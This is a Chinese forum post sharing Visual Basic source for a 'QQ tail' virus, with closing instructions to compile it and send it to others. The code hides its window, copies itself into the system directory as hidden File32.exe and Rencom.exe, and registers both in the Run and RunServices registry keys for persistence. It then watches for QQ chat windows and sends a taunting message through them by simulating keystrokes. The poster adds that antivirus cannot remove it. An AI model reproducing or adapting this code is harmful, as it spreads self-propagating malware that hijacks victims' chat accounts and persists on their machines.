代码:
Private Sub Form_Load()
  Dim a As Long
  Dim b As String
  Dim c, d As String
  Dim e1 As String
  Dim e2 As String
  Dim f1, f2 As Long
  Me.Visible = False
  a = GetWindow(Me.hwnd, GW_OWNER)
  ShowWindow a, SW_HIDE
  b = Space(19)
  GetSystemDirectory b, 20
  c = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
  d = "SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices"
  e1 = b & "\File32.exe"
  e2 = Left(b, 11) & "Rencom.exe"
  RegCreateKey HKEY_LOCAL_MACHINE, c, f1
  RegSetValueEx f1, "File32", 0, REG_SZ, ByVal e1, Len(e1)
  RegCloseKey f1
  RegCreateKey HKEY_LOCAL_MACHINE, d, f2
  RegSetValueEx f2, "Rencom", 0, REG_SZ, ByVal e2, Len(e2)
  RegCloseKey f2
  On Error Resume Next
  Dim g As String
  g = App.Path & "\" & App.EXEName & ".exe"
  FileCopy g, e1
  SetAttr e1, vbHidden
  FileCopy g, e2
  SetAttr e2, vbHidden
  e = e1
  f = e2
End Sub

Private Sub Timer1_Timer()
  ii = ii + 1
  If ii = 1111 Then ii = 1
  Dim h As Long
  Dim i As String
  h = GetForegroundWindow()
  i = Space(256)
  GetWindowText h, i, 255
  If Left(i, 1) = "与" And ii Mod 20 = 8 Then
    j = Space(256)
    j = i
    Call mer
  End If
End Sub
Sub mer()
  If k <> j Then
    Clipboard.Clear
    Clipboard.SetText "恭喜你,中了煙メ耔制做的QQ尾巴病毒!....哈哈..!"
    keybd_event &H11, 0, 0, 0
    keybd_event 86, 0, 0, 0
    keybd_event 86, 0, KEYEVENTF_KEYUP, 0
    keybd_event &H11, 0, KEYEVENTF_KEYUP, 0
    keybd_event 13, 0, 0, 0
    keybd_event 13, 0, KEYEVENTF_KEYUP, 0
    keybd_event &H11, 0, 0, 0
    keybd_event 13, 0, 0, 0
    keybd_event 13, 0, KEYEVENTF_KEYUP, 0
    keybd_event &H11, 0, KEYEVENTF_KEYUP, 0
    k = Space(256)
    k = j
  End If
End Sub




高手跳过..吧.
直接开VB.代码放在里面.就OK了.生成EXE文件.发送给别人吧..最好不要在自己的机上运行.代码里已修改了注册码.想删除要去注册码里删,好像杀毒软件杀不了的.

原理是你的机上出现"与"字就会自动发送粘贴版里的内容.

这是很久以前的代码了.拿出来和大家分享吧.哈